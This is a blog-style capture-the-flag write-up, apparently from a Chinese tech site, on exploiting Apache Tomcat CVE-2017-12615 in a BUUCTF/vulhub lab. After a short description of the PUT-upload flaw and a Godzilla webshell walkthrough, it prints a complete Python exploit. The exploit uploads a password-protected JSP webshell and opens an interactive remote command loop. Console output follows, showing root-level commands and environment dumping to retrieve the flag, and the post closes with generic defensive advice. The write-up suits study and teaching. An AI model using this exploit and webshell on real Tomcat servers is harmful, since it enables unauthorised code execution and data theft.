BUUCTF-Real-[Tomcat]CVE-2017-12615

目录

漏洞描述

一、漏洞编号:CVE-2017-12615

二、漏洞复现

get flag

漏洞描述

CVE-2017-12615:远程代码执行漏洞

影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。


通过 PUT 方法的 Tomcat 任意写入文件漏洞

一、漏洞编号:CVE-2017-12615

漏洞简述:Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。

CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。

靶机:自搭vulhub

攻击IP:本机

二、漏洞复现

1、开启漏洞环境

cd/vulhub/tomcat/CVE-2017-12615

docker-compose up -d

docker ps

2、进入漏洞页面

当你想登录进入,会发现直接报错403。

3、进行抓包,因为漏洞开启了readonly=false这个权限,所以我们可以进行远程代码执行。

我们可以通过上传哥斯拉jsp包达到RCE目的。

那么首先我们就要用哥斯拉生成一个木马,当然后缀是jsp的。

我们在数据包里把GET类型改成PUT类型,后面加上任意自己起的名字,例如shell.jsp

如下数据包,这个就是修改后的数据包

在哥斯拉中,我们选择 管理—>生成—>生成—>jsp后缀木马

做完这一切之后,我们去网页访问shell.jsp。

会发现没有任何显示,这样就对了,我们再用哥斯拉进行连接。具体操作:

目标—>添加—>填写目标url—>连接

可以看到,我们已经可以进入主机执行任意命令了,这样我们就getshell啦!


get flag

我们使用exp进行漏洞测试


#CVE-2017-12615 EXP
__author__ = ' RX '
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)



┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492     
[+] http://node5.buuoj.cn:26492 存在CVE-2017-12615 Tomcat 任意文件读写漏洞

┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492 
[*] 目标地址:http://node5.buuoj.cn:26492
[+] 木马上传成功
输入执行命令(quit退出):
>>>whoami
root

>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work

>>>cd /
>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work

>>>pwd
/usr/local/tomcat

>>>cd /root
>>>ls -al
total 88
drwxr-sr-x 1 root staff    57 Jul 31  2017 .
drwxrwsr-x 1 root staff    20 Jul 31  2017 ..
-rw-r----- 1 root root  57092 Jul 24  2017 LICENSE
-rw-r----- 1 root root   1723 Jul 24  2017 NOTICE
-rw-r----- 1 root root   7064 Jul 24  2017 RELEASE-NOTES
-rw-r----- 1 root root  15946 Jul 24  2017 RUNNING.txt
drwxr-x--- 2 root root    313 Jul 31  2017 bin
drwx--S--- 1 root root     22 Feb  7 08:59 conf
drwxr-sr-x 3 root staff    19 Jul 31  2017 include
drwxr-x--- 2 root root   4096 Jul 31  2017 lib
drwxr-x--- 1 root root    177 Feb  7 08:59 logs
drwxr-sr-x 3 root staff   151 Jul 31  2017 native-jni-lib
drwxr-x--- 2 root root     30 Jul 31  2017 temp
drwxr-x--- 1 root root     18 Jul 24  2017 webapps
drwxr-x--- 1 root root     22 Feb  7 08:59 work
>>>env
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
CATALINA_HOME=/usr/local/tomcat
LANG=C.UTF-8
HOSTNAME=out
OPENSSL_VERSION=1.1.0f-3
TOMCAT_VERSION=8.5.19
GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23
JAVA_HOME=/docker-java-home/jre
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz.asc
JAVA_VERSION=8u141
TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz
KUBERNETES_PORT=tcp://10.240.0.1:443
PWD=/usr/local/tomcat
HOME=/root
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1
TOMCAT_MAJOR=8
JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
FLAG=flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}
SHLVL=0
KUBERNETES_SERVICE_PORT=443
PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST=10.240.0.1
直接运行env即可!打印出环境变量!
flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}
  • 11
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2017-12615是一个由Apache Tomcat服务器引起的漏洞,它存在于Tomcat服务器的默认配置中。该漏洞使得攻击者能够通过进行远程命令执行来获取服务器的控制权。 该脚本的实现过程如下: 1. 首先,通过发送特制的HTTP请求,攻击者可以将恶意的Web应用程序(如war文件)上传到Tomcat服务器中。 2. 接下来,攻击者发送另一个特制的HTTP请求,触发Tomcat服务器对上传的Web应用程序进行部署。 3. 当Tomcat服务器部署恶意的Web应用程序时,该程序中的恶意代码将被执行。 4. 攻击者可以在恶意代码中包含任意的系统命令,从而实现远程命令执行。 5. 一旦成功执行命令,攻击者就能够在服务器上执行各种操作,例如文件读取/写入、系统信息获取等。 为了防御CVE-2017-12615漏洞,可以采取以下措施: 1. 及时更新和升级Apache Tomcat服务器,确保使用的版本没有漏洞。 2. 将Apache Tomcat和其他组件配置为具有最低特权,以减少潜在攻击者的影响范围。 3. 限制对Tomcat管理接口的访问,并使用强密码和多因素身份验证来保护管理接口。 4. 定期检查服务器上是否存在未知的应用程序文件或恶意代码,并将其删除。 5. 在Tomcat服务器上使用Web应用程序防火墙,以检测和阻止恶意HTTP请求。 6. 实施网络入侵检测系统(IDS)和入侵防御系统(IPS),以便及时检测和阻止攻击。 综上所述,CVE-2017-12615是一个严重的远程代码执行漏洞,攻击者通过利用该漏洞可以获取Tomcat服务器的控制权。为了避免受到此漏洞的攻击,我们必须采取一系列措施来确保Tomcat服务器的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值